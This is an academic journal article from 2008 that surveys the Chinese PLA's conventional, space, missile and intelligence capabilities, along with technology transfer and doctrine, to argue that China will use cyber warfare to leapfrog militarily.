1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 28 HOW CHINA WILL USE CYBER WARFARE TO LEAPFROG IN MILITARY COMPETITIVENESS by Jason Fritz BS (St.
Cloud), MIR (Bond) Introduction The Peoples Republic of China (PRC) may be a global power economically but its military lacks force projection beyond the Asia Pacific region.
Its traditional military hardware is one to three generations behind the US and Russia.
In light of these deficiencies it is probable that cyber warfare will provide China with an asymmetric advantage to deter aggression from stronger military powers as they catch up in traditional military capabilities.
Cyber warfare would also allow China to leapfrog by means of technology transfer and exploiting adversary weaknesses.
This investigation will address three primary questions: What is Chinas current military capability?
How would cyber warfare allow China to seriously advance its strategic abilities?
And what is the evidence that China is headed in a cyber warfare direction?
1.
Traditional Military Power of the PLA In order to see how the Chinese military will leapfrog in military competitiveness, it is necessary to establish its current capabilities.
The Chinese Peoples Liberation Army (PLA) is composed of five main service branches, the PLA Ground Force, PLA Navy, PLA Air Force, Second Artillery Corps, and the PLA Reserved Force.
China has one of the worlds largest military forces, with 2.3 million active members, a reserve force of 800,000, and a paramilitary force of 3.9 million, for a grand total of approximately 7 million members.
The PLA has tried to transform itself from a land based power, to a smaller, mobile, high tech power that is capable of reaching beyond its borders (Annual Report to Congress 2007 Chinas National Defense in 2006).
During the 1980s paramount leader Deng Xiaoping pushed for quality over quantity, and the military was reduced by one million members.
In 1993, President Jiang Zemin officially announced a Revolution in Military Affairs (RMA) a part of the national military strategy for modernization.
RMA is a theory about the future of warfare, often connected to technological and organizational recommendations for change in the United States military and others.
RMA is tied to modern information, communications, space technology, and total systems integration.
Careful observation of US involvement in the Kosovo, Afghanistan, and Iraqi wars, furthered Chinas interest in network-centric warfare and asymmetric warfare, the former successfully used by the US, and the latter successfully used against the US.
At the turn of the century, the bulk of Chinas traditional military force remained 1950s to 1970s era technology imported and reverse engineered from Russia.
China is seeking to modernize this force.
The size of Chinas traditional force will shrink, as fewer numbers are needed when new technology is introduced (Cordesman and Kleiber 2006 Corpus 2006 Moore 2000).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 29 Chinas defence budget has increased dramatically over the last 15 years.
The official military budget of China was US57 billion in 2008, making it the second largest military budget in the world.
By contrast, the largest is the US with 623 billion, and the third largest is Russia with 50 billion.
Japan, South Korea, and India are the next largest spenders in the Asia Pacific region with 41 billion, 21 billion, and 19 billion, respectively (World Wide Military Expenditures 2007).
Chinas annual defence budget increases at approximately the same rate as its annual GDP, with an average increase of 9 per year since 1996 (Pike 2008 Chinas National Defense in 2006).
However, Chinas total military spending may be far greater than the official figures reported.
Foreign acquisitions, research and development of dual use science and technology, national security, construction, and emergency response and disaster relief, are a few examples of expenditures which may fall under non-military headings but directly relate to the advancement of the military.
The US Department of Defence estimates Chinas total military-related spending for 2007 could be between 97 billion and 139 billion.
Think tanks and academic institutions report a wide range of estimates for Chinas defence budget, using varying methodologies and sources, however most arrive at the same conclusion: China significantly under-reports its defence expenditures (Annual Report to Congress 2008 International Assessment and Strategy Center 2005).
Ground Force The PLA Ground Force (PLAGF) is the worlds largest, with 1.25 million personnel, or about 70 of the PLAs total manpower (Annual Report to Congress 2008).
Approximately 400,000 of these troops are based in the three military regions (MRs) opposite Taiwan.
According to the 2008 Military Balance of the International Institute for Strategic Studies (IISS), the PLAGF comprises 18 group armies which include 9 armoured divisions, 3 mechanised infantry divisions, 24 motorised infantry divisions, 15 infantry divisions, two amphibious assault divisions, one mechanised infantry brigade, 22 motorised infantry brigades, 12 armoured brigades, 7 artillery divisions, 14 artillery brigades, and nine anti- aircraft artillery missile brigades.
Chinas military doctrine places an emphasis on electronic and information warfare, long-range precision strikes, surface-to-air missiles, special operations forces, army aviation helicopters, and satellite communications.
The PLAGF continues to reduce its overall size, opting for a more high tech and mobile force (Chinas National Defense in 2006).
While much of the equipment remains antiquated, China is continually upgrading.
This includes approximately 200 Type 98 and Type 99 main battle tanks now deployed to units in the Beijing and Shenyang MRs.
As many as 6,000 tanks were produced by China in the 1960s.
From the early 1970s to 2000, Chinas tank inventory remained around 10,000.
This was mostly composed of old Soviet tanks and Chinese versions of old Soviet designs.
China continually upgraded over the decades, but was always one step behind the current Soviet models.
The Chinese-produced versions of the Soviet T-54A (Type 59 and Type 69) account for over two-thirds of the total PLA tank inventory.
While retiring some of the older Type 59/69 series and replacing them with the second generation Type 88 and Type 96, the PLA is also upgrading the remaining Type 59/69 series tanks with new technologies including improved communication and fire-control systems, night vision equipment, explosive reactive armour, improved power plant, and gun-fired anti-tank missiles so that they can remain in service as mobile fire-support platforms.
Chinas newest tank, the Type 99, entered PLA service in 2001.
Maintenance of such a massive force becomes a problem, and many of Chinas tanks may have fallen into disrepair.
This may also be a push for modernizing to a smaller but more effective force (Armoured Fighting Vehicles 2008).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 30 The PLAGFs hand guns further illustrate Chinas attempts to modernize and catch up by means of foreign acquisition and reverse engineering.
Most of Chinas weapons are derived from Soviet models acquired before the Sino-Soviet split in late 1950s and early 1960s.
Examples include Soviet or Russian small arms like the Mosin-Nagant series rifles and carbines, the SKS carbine, the AK-47 assault rifle, the RPD light-machine gun, the Tokarev TT33 pistol, and the DShK heavy machine gun.
The PLAs main infantry rifle, the QBZ-95 is derived from the Russian AK-47, and the Chinese Type 56 Assault Rifle is a direct copy, albeit locally produced and with a permanently attached bayonet with a more sword-like, stiletto style.
The Chinese Type 56 Assault Rifle, a locally produced version of the SKS, also differs from its Russian counterpart by having a permanently attached bayonet.
The Chinese Type 56 was mass produced from the 1960s to 1980s and was exported to many states around the world (Small Arms 2008).
Navy The Peoples Liberation Army Navy (PLAN) is composed of 250,000 personnel divided into three major fleets, the North Sea Fleet, East Sea Fleet, and South Sea Fleet, each containing surface ships, submarines, naval air force, coastal defence, and marine units.
Chinas naval force includes 57 attack submarines, 55 medium and heavy amphibious ships, and 49 coastal missile patrol craft.
A priority has been placed on anti-air capabilities with improvements in over-the-horizon targeting, range, and accuracy in surface-to-air missiles.
Taking informationization as the goal and strategic focus in its modernization drive, the Navy gives high priority to the development of maritime information systems, and new-generation weaponry and equipment (Chinas National Defense in 2006).
As a part of PLANs modernization program, PLAN has been developing blue water navy capabilities.
PLAN does not currently have an aircraft carrier.
However, evidence suggests they are pursing such technology and have the capability to construct one.
Renovation to a former Soviet Kuznetsov-class aircraft carrier may be used for training purposes, and the Chinese have expressed interest in acquiring Russian Su-33 carrier-borne fighters.
The ex-Australian carrier Melbourne also provided research for the PLAN as it was towed to China for scrap.
Russian assistance, coupled with an already capable ship building infrastructure, could allow PLAN to rapidly develop an aircraft carrier.
The PLANs ambitions include operating out to the first and second island chains, extending operations to the South Pacific near Australia, north to the Aleutian Islands, and west to the Strait of Malacca towards the Indian Ocean (Annual Report to Congress 2008).
Chinas submarine fleet is derived from outdated Russian technology and is seeking to become a more modern and smaller force.
Early Chinese submarines were domestically produced versions of the Soviet Romeo class submarine, which were only capable of coastal patrols with deployment to sea limited to a few days per year.
One Romeo was modified to carry six YJ-1 (C-801) anti-ship missiles, but it had to surface to fire them.
The Chinese Ming class submarines produced in the 1970s were not much better, other than being of newer construction.
This was followed by the Song class submarine, which had a streamlined hull and can be fitted with anti-ship missiles capable of being fired while submerged.
China returned to purchasing subs in the late 1990s with the Russian Kilo class submarine.
The Type 041 Yuan Class is the newest diesel-electric submarine in the PLAN.
Its design incorporates parts of the Song class and Russian Kilo class submarines.
The Yuan class has five torpedo tubes capable of launching indigenous torpedos as well as Russian Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 31 designed torpedos, and it is believed to have anti-ship missiles.
This ship was designed to replace the aging Romeo and Ming class submarines which currently form the backbone of the PLANs submarine fleet (Chinese Submarines 2008 see also Chinas Navy 2007).
Chinese produced Han class nuclear submarines were plagued with problems.
A follow-on Type 093 nuclear submarine was developed with experience from the Han class and further assistance from Russian submarine builders, such as advanced wielding and construction techniques.
Despite being armed with new Chinese wire-guided torpedoes the Type 093s overall capability remains comparable to Russian technology of the late 1970s.
Nevertheless, China continues to make progress and the true level of Russian assistance lacks transparency (Smith 2001).
Further, the Type 093 may have benefited from German fuel cell technology and French design, which could allow for two to three weeks of submerged operations without having to surface to recharge batteries.
Internet-source photos of Type 039s under construction also show Chinese mastery of advanced multi-layer rubber/polymer hull coatings that greatly reduce hull-radiated noise while limiting the effectiveness of active- sonar detection (Chinese Submarines 2008).
China maintains a fleet of approximately 28 destroyers, 48 frigates, and 30 ocean-capable fast attack craft.
The frigates were designed for anti-surface warfare, and lacking significant self- defence.
Chinese-built destroyers include the Luhu class, the Luhai class, and the Luda I/II/III, from oldest to newest, respectively.
The Luhai and Luda class are armed with a battery of guns, torpedos, mortars, optional helicopter pads, and domestically built Crotale SAMs which were built from designs provided by France in the 1980s.
Construction of the Luhai class was delayed from the mid 1980s to the mid 1990s due to construction of frigates for the Thai Navy.
The most powerful addition to the PLAN is the Russian-built Sovremenny class destroyers.
These include MOSKIT anti-ship missiles and KASHTAN combined gun/missile ship defence systems.
While these designs are non-stealth 1970s Russian technology, outdated by current designs, they provided the PLAN with modern anti- ship, anti-air, and anti-submarine systems.
The most recent Sovremenny acquisitions carry 8 Sunburn supersonic sea-skimming ASM and the SA-N-7 Gadfly, which will give PLAN limited naval air-defence capability.
Up to this point, China only possessed short-range SAMs of French or domestic design (Surface Combatants 2008 IISS 2008).
Improvements in stealth design of the PLANs ships further the notion that China seeks to modernize by purchasing or clandestinely obtaining technology from other states, reverse engineering that technology, and then attempting to make upgraded domestically produced versions.
According to Frank Moore of the Institute for Defence and Disarmament Studies: The PLA developed new stealthy warships benefiting from Russian or Ukrainian design advice, weapons, electronics and other systems, plus new computer aided design methods which speeded their development.
By 2002 it was possible to observe the construction of three new classes of warships via Chinese internet sources ... the No.
168 class, which armed with Russian SHTIL SAMs, Russian radar, Kamov Ka-28 ASW helicopters and Chinese C-802/803 anti-ship missiles, and powered by Ukrainian gas turbine engines.
Soon after two No.
170 class destroyers were launched.
These featured large phased array radar similar in appearance to the U.S. AEGIS system...
Most likely the new AEGIS radar comes from the Ukrainian KVANT bureau and is a newly-developed active phased array radar with a broad search range of about 150km ...
In 2003 [PLAN] launched two Type 054 stealthy frigates.
Some sources indicate production was halted at two ships pending the completion of a new Russian SAM...
In early 2004 internet-source pictures of a model of this new variant, apparently from a Chinese shipbuilding exhibition, confirmed that it will feature a new vertical- launched SAM and be outfitted with Russian radar and missile guidance systems.
The Type 054 is also powered by co-produced French-designed SEMT Pielstick marine diesel engines.
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 32 A fourth stealthy warship emerged in April 2004: a new fast-attack craft (FAC).
Now being produced at two or three shipyards, this new FAC utilizes a wave-piercing catamaran (twin) hull design, which improves stability at high speeds even in rough seas.
It is based on a design obtained from the Australian fast-ferry firm AMD... [with] radar-absorbing materials applied to the hull.
(
Moore 2000).
Not only does this illustrate Chinas use of foreign technology, it also demonstrates the complexity of modern warfare.
These are highly sophisticated weapons, weapons pieced together from multiple sources, the existence of which was leaked onto the internet.
Air Force The Peoples Liberation Army Air Force (PLAAF) is the third largest air force in the world behind the United States and Russia.
The PLAAF employs 250,000 personnel and 1,762 combat aircraft (IISS 2008).
The Soviet Union helped found the PLAAF in 1949, providing aircraft in 1951, and production technology and pilot training in 1953.
China gained limited air combat experience during the Korean War.
In 1956 China began assembling its own aircraft based on Soviet design, such as the J-2, J-5, and J-6, copies of the MiG-15, Mig-17, and Mig-19 respectively.
The Sino-Soviet split was a significant setback to the PLAAF as was resource competition with the missile and nuclear divisions of the military.
Chinas aircraft industry received a boost during the Vietnam War by providing aircraft for North Vietnam.
During the 1980s, the PLAAF underwent significant restructuring, opting for a more streamlined force and increased training.
Due to the Sino-Soviet Split, the PLAAF turned to Western states for military expertise.
Western states saw China as a counterbalance to the Soviet Union however support dissolved following the 1989 Tiananmen Square incident.
Reverse engineering of Soviet weaponry continued with the Chinese aircraft F-7 being an illegitimate copy of the MiG-21, and the F-8 incorporating various Soviet designs.
Gorbachevs 1989 visit to China marked an end to the Sino-Soviet split.
The newborn and economically struggling state of Russia used the transfer of military technology and expertise to China as a way to sustain its own aerospace industry (Moore 2000).
The collapse of The Soviet Union, and concerns over a Taiwan conflict that could draw in the United States, reinvigorated the PLAAFs modernization program.
In the 1990s, China began development of fourth generation fighters, including the J-10 and a collaboration with Pakistan on the JF-17.
China continued focusing on improved pilot training and retiring obsolete aircraft, preferring quality over quantity.
The PLAAF is currently developing its own fifth generation stealth craft and increasing Command, Control, Communications, Computers, Intelligence, Surveillance and Reconnaissance (C4ISR) systems for all its fighters.
In addition to jet fighter aircraft, China is upgrading its B-6 bomber fleet (originally adapted from the Russian Tu-16) with a new variant which, when operational, will be armed with a new long-range cruise missile (Annual Report to Congress 2008).
China is also developing Airborne Early Warning and Control (AEWC) aircraft utilizing Russian and possibly Israeli technology and is making progress in tanker aircraft used for in-flight refuelling and airlift planes.
These are important steps in obtaining the capability to conduct operations beyond Chinas borders (Chinas National Defense in 2006 Allen 2005).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 33 Production of indigenous Chinese aircraft has been lacklustre.
Most of the designs require foreign expertise which is then reverse engineered.
The technology obtained is often one generation old at the time of acquisition, as states do not want to give up their advantage.
Further, to reverse engineer they not only need the aircraft itself, but also high-precision and technologically advanced machine tools, electronics and components, skilled personnel, and facilities.
By the time the technology is fully understood, and indigenous versions produced, the aircraft may be two or three generations behind the latest models of the worlds advanced military forces.
China is not alone in this difficulty.
Except for the five largest industrial arms producers (France, Germany, Russia, the UK, and the US), other countries that have attempted to produce indigenously designed combat aircraft, such as Israel, South Africa, India, Taiwan, and South Korea, have abandoned their efforts and returned to importing systems from one of the five main producers.
One reason is the economy of scale involved with financing research, development, and production of all of the systems and sub-systems that compose modern combat aircraft (Moore 2000 see also Allen, Krumel and Pollack 1995).
Despite these difficulties, China remains committed to producing indigenous aircraft.
Continued purchase of foreign technology demonstrates that the Chinese believe reverse engineering and then upgrading is the best approach to establish themselves as a self- sufficient producer in the future.
In other words, the PRC aspires to become one of the elite weapons producers, but it does not want to wait for the infrastructure to evolve it wants to leapfrog these capabilities.
Space The PLA is responsible for the Chinese space program.
China was the fifth nation in the world to place a satellite in orbit, the third nation to put a human into space, and the third nation to successfully test an anti-satellite weapon (ASAT) capable of destroying an enemy satellite in low earth orbit.
Chinas manned space activities have received substantial support from Russia.
This can be seen in the design of the Shenzhou spacecraft, which closely resembles the Russian Soyuz spacecraft.
Although Chinas commercial space program has utility for non-military research, it also demonstrates space launch and control capabilities that have direct military application.
All taikonauts have been selected from members of the PLAAF, and the PLA has deployed space-based systems for military purposes.
These include imagery intelligence satellite systems such as the ZiYan series and JianBing series, synthetic aperture satellites (SAR) such as JianBing-5, the BeiDou satellite navigation network, and secured communication satellites such as FengHuo-1.
China launched its 100th Long March series rocket in 2007, and continues to put more sophisticated and diverse satellites into orbit.
The PRC is developing the Long March 5, an improved heavy-lift rocket that will be able to lift larger reconnaissance satellites into low-earth orbit or communications satellites into geosynchronous orbits by 2012.
It expects to replace all foreign-produced satellites in its inventory with indigenously produced sun-synchronous and geo-stationary models by 2010 (Annual Report to Congress 2008 Center for Strategic and International Studies 2003).
Many of Chinas space assets are dual use, having financial and prestige benefits in addition to military applications.
The Ziyuan-2 series, the Yaogan-1 and -2, the Haiyang-1B, the CBERS-1 and -2 satellites, and the Huanjing satellites, offer ocean surveillance, disaster and environmental monitoring, and high resolution imaging in the visible, infrared, and radar spectrums.
New electro-optical satellites are capable of penetrating night and weather with a 1/10 meter resolution, providing near continuous targeting data for the PLA forces.
In the arena of navigation and timing, China has five BeiDou satellites with 20 meter accuracy over Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 34 the region.
The PRC also uses the Russian GLONASS navigation system and is a primary investor in the European Unions Galileo navigation system.
China has developed small satellite design and production facilities, and is developing microsatellites, satellites which weigh less than 100 kilograms.
These satellites offer remote sensing, imagery, and radar, and could allow China to rapidly replace or expand its satellite force in the event of war or a disruption to the network.
The country is also improving its ability to track and identify foreign satellites, which is an essential component in the event of counter-space operations.
Chinas successful test of an ASAT weapon demonstrates an ability to strike enemy assets in low earth orbit.
This acts as a deterrent to conflict and demonstrates the PRCs commitment to relatively low-cost asymmetric warfare (International Assessment and Strategy Center 2005).
Second Artillery Corps The Second Artillery Corps (SAC) controls the PLAs nuclear and conventional missile forces.
Weapons from the SAC are subsequently filtered to other branches of the PLA.
Items such as the land attack cruise missile (LACM) may be used by the PLAAF on H-6 bombers, or by the PLAN on Type 093 nuclear submarines.
Chinas total nuclear arsenal is estimated to be between 120 and 250.
China maintains a no first use policy however, the ambiguous nature of declaratory policies leave open the option for first strike if Chinas leaders believe their national security or the CPC are under threat.
China began developing nuclear weapons in the late 1950s with the help of Soviet assistance.
After the Sino-Soviet split in the late 1950s, China continued its development on its own and made significant progress.
The Peoples Republic detonated its first atomic bomb in 1964, making it the fifth state to do so, following the United States, Russia, the United Kingdom, and France.
With the addition of India and Pakistan, and possibly Israel and North Korea, China remains only one of nine states with a nuclear capability.
China launched its first nuclear missile in 1966, and detonated its first hydrogen bomb in 1967.
Short-range ballistic missile (SRBM) capability was obtained with the development of the Dongfeng-1, medium- range ballistic missile (MRBM) capability with the Dongfeng-2, intermediate-range ballistic missile (IRBM) capability with the Dongfeng-3, and limited intercontinental ballistic missile (ICBM) capability with the Dongfeng-5 (Missile and Space Programme 2008 Second Artillery Corps 2000).
It is estimated that China has 24-36 liquid fuelled ICBMs capable of striking the US and approximately 100-150 IRBMs capable of striking Russia and Eastern Europe.
China also possesses approximately 1,000 SRBMs with ranges between 300 and 600 km.
Beijing is continually upgrading the range, accuracy, and payload capability of its SRBMs at a rate of 100 new missiles per year.
Its most current missile, the Dongfeng-31A is a solid fuel ICBM with a range of 11,200km.
It is road mobile, and has multiple independently targetable re- entry vehicles (MIRVs).
As noted above, China possesses submarine-launched ballistic missiles (SLBMs) on its SSBN submarines.
The PLAAF also has bombers capable of delivering nuclear bombs.
However, they would be unlikely to break through the modern air defence systems of advanced military powers.
The SAC has sought to improve its retaliatory strike capability by hardening missile silos, developing mobile launchers, and increasing range, accuracy, and response time of its missile system (Annual Report to Congress 2008 see also Wortzel 2007).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 35 Chinas non-nuclear missile arsenal continues to develop anti-access/area denial capabilities.
These include the land attack cruise missile (LACM) DH-10, the Russian SUNBURN anti- ship cruise missile (ASCM), the Russian SIZZLER supersonic ASCM, and indigenous versions of anti-ship missiles based on their own MRBMs.
The acquisition of Russian arms demonstrates Chinas continued commitment to technology transfer and reverse engineering.
Thus, The DH-10 will be similar in size and capability to the U.S. TOMOHAWK, in part because the PLA has been collecting parts of this U.S. cruise missile from Iraq and Afghanistan.
The PLA has obtained at least six Russian Kh-55 cruise missiles from the Ukraine, and reportedly, has benefited from Israeli cruise missile technology associated with the DELILAH anti-radar missile (Moore 2000).
Asymmetric warfare, another tendency of the PLA, is shown by its research into manoeuvring re-entry vehicles (MaRV), decoys, chaff, jamming, thermal shielding, and ASAT weapons that will strengthen deterrence and strike capabilities.
Many of these technologies can also be used to defeat, deter, or stymie US attempts at a National Missile Defence shield.
By examining the weapons and deployment of the SAC, Chinas perceived primary threats can be identified.
The majority of the SACs SRBMs are opposite Taiwan.
DF-11 Mod 1s are capable of carrying thermobaric and cluster munitions as well as high-explosives.
In addition, they may carry radio- frequency/electromagnetic pulse (EMP) warheads which, if used in sufficient numbers, could disable electronic communications and electric power networks (Annual Report to Congress 2008).
Peoples Armed Police The Peoples Armed Police (PAP) is no longer the official fifth service branch of the PLA however it remains an integral part of Chinese defence.
The line between military operations against foreign elements and operations of internal security are often blurred.
This can be seen all the way down to the PAP uniforms which differ only slightly from PLAGF, often leading foreigners to mistake them as soldiers.
In contrast, public security officers wear dark gray or blue uniforms more common among Western police forces.
Much of the PAP force was absorbed directly from the PLA.
They use a similar rank structure, and they obey the PLAs general regulations.
PAP guards are also recruited at the same time and through the same procedures as PLA soldiers.
The PAP has a dual command structure including the Central Military Commission (CMC) and the State Council through the Ministry of Public Security.
By law the PAP is not part of the PLA however, their interconnection is unavoidable, and the PAP will play an important role as domestic or non-military issues become intertwined with traditional military issues (Peoples Armed Police Force Organisation 2007 Tkacik 2007).
The PAP is a paramilitary force primarily responsible for law enforcement.
Chinas National Defence White Paper, published in 2006, lists the total strength of the PAP at 660,000.
The IISS Military Balance of 2008 lists an estimated 1.5 million (IISS 2008).
The PAP has its origins in the PLA, which was originally tasked with both defending China from foreign threats and providing internal security.
While the two share much in common, China eventually decided the differences were greater than the similarities.
The PAPs primary mission is internal security.
They are responsible for guarding government buildings at all levels, including party and state organisations, foreign embassies, consulates, and airports.
The PAP provides personal protection to senior government officials, and performs security functions for major corporations and public events  including its much-publicized role in the 2008 Beijing Olympics (see Paramilitary Olympics 2008).
Additionally, the PAP maintains multiple counter-terrorism units, sea and land border security forces, fire fighting units, and Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 36 has a role in the protection of forests, gold mines, hydroelectric facilities, and highway infrastructure.
The secondary mission of the PAP is external defence, and in times of war PAP internal security units can act as light infantry supporting the PLA in local defence missions.
Similarly, the PLA can fill in for the PAP and has done so during the Cultural Revolution, the Tiananmen Square incident, and flooding of the Yellow River (Peoples Armed Police Force Organisation 2007 Chinas National Defense in 2006 Peoples Armed Police 2005).
Military Intelligence The General Staff Department carries out staff and operational functions for the PLA and is responsible for implementing military modernization plans.
It serves as the headquarters for the PLAGF and contains directorates for the PLAN, PLAAF, and SAC, as well as a department for electronic warfare.
The General Staff Department also includes sub- departments for artillery, armoured units, communications, engineering, mobilization, operations, politics, training, and surveying.
Direct control over the four military branches is sub-divided among the General Staff Department and regional commanders however the General Staff Department can assume direct operation control at any time.
The General Staff Department is under the control of the Central Military Commission (General Staff Department 1997).
The Second Department of the General Staff Headquarters is responsible for collecting military intelligence.
This includes military attachs at Chinese embassies abroad, clandestine agents to conduct espionage, and the analysis of publicly available data published by foreign countries.
The Second Department oversees military human intelligence (HUMINT), open source intelligence (OSINT), and satellite and aerial imagery intelligence (IMINT) which it disseminates to the Central Military Commission and various branches.
The Second Department has increased its focus on scientific and technological military intelligence gathering.
The Third Department of the General Staff Headquarters is responsible for monitoring the telecommunications of foreign militaries and producing reports based on the military information gathered.
China operates the most extensive signals intelligence (SIGINT) network of all the countries in the Asia-Pacific region.
Since the 1950s, the Second and Third Departments have maintained a number of secondary and higher learning institutions for producing recruits, particularly in foreign languages.
The Third Department not only intercepts communication of foreign militaries, but also those of the PLA, thereby maintaining control and supervision over the different branches and commanders within all of the military regions (Second Intelligence Department 2005, General Staff Department 1997).
Other branches of the General Staff Department include the Fourth Department and the General Political Department (GPD).
The Fourth Department (ECM and Radar) is responsible for electronic intelligence (ELINT) including electronic countermeasures and maintaining databases on electronic signals.
The GPD is responsible for overseeing the political education required for advancement within the PLA and controls the PLAs internal prison system.
The International Liaison Department, a branch within the GPD, conducts propaganda, psychological operations (PSYOPS), and counter-espionage against foreign intelligence.
As with the PAP, many of the departments within the General Staff Department appear to have significant overlap.
The structural details are beyond the scope of this study however, they are worth noting, as they pertain to the discussion below of cyber warfare.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 37 Technology Transfer China continues to pursue the acquisition of foreign military technology.
Beijing is in ongoing negotiations with Moscow to obtain multiple weapons systems, and in 2007 signed arms agreements worth 150 million.
Israel has previously supplied advanced military technology to China.
However, under pressure from the US, Israel began to implement strict military export regulations.
China is attempting to remove an embargo placed on lethal military export from the EU.
This embargo was a response to the Tiananmen Square incident.
Opinion on removing the embargo remains divided among EU member states.
According to the 2008 Annual Report to Congress on Chinas Military: China continues a systematic effort to obtain dual-use and military technologies from abroad through legal and illegal commercial transactions.
Many dual-use technologies, such as software, integrated circuits, computers, electronics, semiconductors, telecommunications, and information security systems, are vital for the PLAs transformation into an information- based, network-enabled force.
Between 1995 and 2008, several high profile cases of Chinese espionage against the US surfaced.
These attempts targeted aerospace programs, space shuttle design, F-16 design, submarine propulsion, C4ISR data, high-performance computers, nuclear weapons design, cruise missile data, semiconductors, integrated circuit design, and details of US arms sales to Taiwan.
Targeted organisations include Northrop Grumman, NASA, Los Alamos Laboratories, Boeing, Lockheed Martin, Sun Microsystems, and various defence installations.
The Chinese do not limit themselves to high value targets or an elite group of agents.
They obtain any data which may be of value, including legally obtained documents or OSINT, which may help them piece together the larger picture.
China utilizes a decentralized network of students, business people, scientists, diplomats, and engineers from within the Chinese Diaspora.
The majority of these individuals have legitimate purposes within the host state however they are recruited at a later date, or asked for small pieces of information or favours which can seem harmless in scope to the individual.
Attempts are also made to purchase interests within high technology companies, as well as win political favour with government officials.
For example, there have been repeated allegations that President Bill Clintons decision to sell sophisticated computer and satellite technology to China was influenced by campaign contributions (Appel 2004 Cooper 2006 Grier 2005 Jordan 2008 Warrick and Johnson 2008 Lynch 2007 Cox Report 1999 McLaughlin 1999 PRC Acquisitions of US Technology 1998).
Chinas use of espionage to obtain foreign military technology is not restricted to the US.
In 2007, the head of a Russian rocket and space technology company was sentenced to 11 years for passing sensitive information to China.
An alleged agent who defected in Belgium claimed hundreds of Chinese spies were working within Europes industries.
These allegations coincided with an arrest in France for illegal database intrusion of the automotive components manufacturer Valeo, and a guest researcher in Sweden arrested for stealing unpublished and unpatented research.
Further, Chinese diplomat Chen Yonglin defected to Australia in 2005, claiming there were over 1,000 Chinese secret agents and informants within Australia (Luard 2005 Isachenkov 2007).
Espionage and technology transfer prosper in cyber warfare, where being physically present is not required, and attribution becomes increasingly difficult.
It also falls in line with Chinas strategy of leapfrogging.
By acquiring foreign military knowledge, China can quickly catch up and begin working at a comparable level, rather than investing the large amounts of time and effort it would take to acquire this knowledge independently.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 38 Doctrine/Strategy Chinese military doctrine and strategy remain focused on modernization.
Beijing has not explicitly laid out an official grand strategy.
This may be due to disagreement within the government, or done intentionally to hide true motives and avoid being bound by them.
Much of the writings published by the PRC are contradictory or ambiguous, using modern and ancient foundations, while being disseminated by varied sources.
However, several points which are continually emphasized may point to a general consensus.
These include modernization of weapons, equipment and training accelerating the RMA improving education and training of the PLA and the CPC informationized (xinxihua) warfare and scientific development.
China seeks to maintain domestic and regional stability while developing its economic, military, technologic, scientific, and soft power.
It also seeks a balance between military and economic development, believing they are mutually dependant.
Beijing maintains its One China Policy in relation to Taiwan, and claims sovereignty over the Parcel and Spratly islands and adjacent waterways (Chinas National Defense 2006).
Deng Xiaoping, representing second generation leadership after Mao, sought to avoid international responsibilities and limitations, as they could slow down development of the military and economy.
The third generation leadership of Jiang Zemin did look outward, promoting a multipolar world in the face of the post-Cold War unipolarity under the US, just as fourth generation leader Hu Jintao promoted the ideology of a Harmonious World (hexie shijie) which places more emphasis on international relations (Lam 2004 Zheng and Tok 2007).
However the PRC continues to avoid concrete stances through concepts of non- interference, diversity, and equality.
It compares itself to other states through Comprehensive National Power (CNP - zonghe guoli), using qualitative and quantitative values, and not accepting traditional Western categorizations (see Pillsbury 2000).
For example, China includes the economy, soft power, and domestic stability as factors of CNP.
This is important, because it shows a correlativity which holds relevance for cyber warfare.
Under CNP the economy, soft power, and domestic stability can be seen as military matters.
Further, maintaining the status quo in regards to Taiwan and the Spratly islands may not be Chinas long-term intention, but rather a way to stall efforts while it builds up military strength, strength which can include economic and international influence.
Despite not wanting to become embroiled in concrete commitments to military strategy, Chinese leaders cannot ignore the interconnectedness of the modern world, and they have realized the necessity of international cooperation.
For example, the need for resources has fuelled Chinas global presence.
The PRC is the worlds second largest importer of petroleum.
As the countrys economy grows and the middle class expands, the demand for fossil fuel resources will continue to grow.
This creates a need for sound international relations with exporting nations and the need for securing transportation routes, such as the Strait of Malacca and the South China Sea.
These are intertwined with the politics and military affairs of the states involved.
Competition with the US for these resources has often led to China making agreements with nations the US opposes on several points, such as Angola, Chad, Egypt, Indonesia, Iran, Kazakhstan, Nigeria, Oman, Saudi Arabia, Sudan, Venezuela, and Yemen (Hanson 2008 Brookes 2006).
Beijing may be using these countries simply because there is less competition for resource access in the case of these suppliers.
However, the result is often international criticism of China as these states may be violating human rights or supporting terrorism.
Moreover, Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 39 Beijings methods of befriending these exporters comes into question, especially in regards to arms being traded or availability of finance which may be supporting controversial policies.
China currently lacks the power projection to protect critical sea lanes from disruption or to deter international criticism.
Crucial to extended power projection is the blue water navy which would benefit from online technology transfer and the further development of C4ISR.
Online PSYOPS and media warfare would enhance Chinas soft power.
Beijing believes that economic growth is critical to military development economic growth creates a greater energy demand, which in turns creates a greater military demand, thus the two form a positive feedback loop (Ikenberry 2008 Chinas National Defense in 2006).
While Beijing recognizes the need for international cooperation, it remains cautious.
The country suffered greatly from foreign incursions within the last century.
Colonialism by Western powers, Japanese occupation in World War II, the Korean War, the Vietnam War, and border conflicts with India, the Soviet Union, and Vietnam are all kept fresh through Chinas historical discourse.
Despite Chinas long history, these events are of special note as they are within living memory, and these events were present during the founding and duration of the CPCs rule.
Ensuring the survival of the CPC shapes Chinas strategic outlook.
In order to bolster domestic support for policies, nationalism has been emphasized over communist ideology.
This can be seen with government organised protests against Japan over visits by Japanese leaders to WWII war shrines and protests against the publishing of Japanese school text books which downplay Japans atrocities against the Chinese.
These protests often coincide with other strategic interests, such as territorial disputes in the East China Sea, which are often unbeknownst to the casual observer or participant.
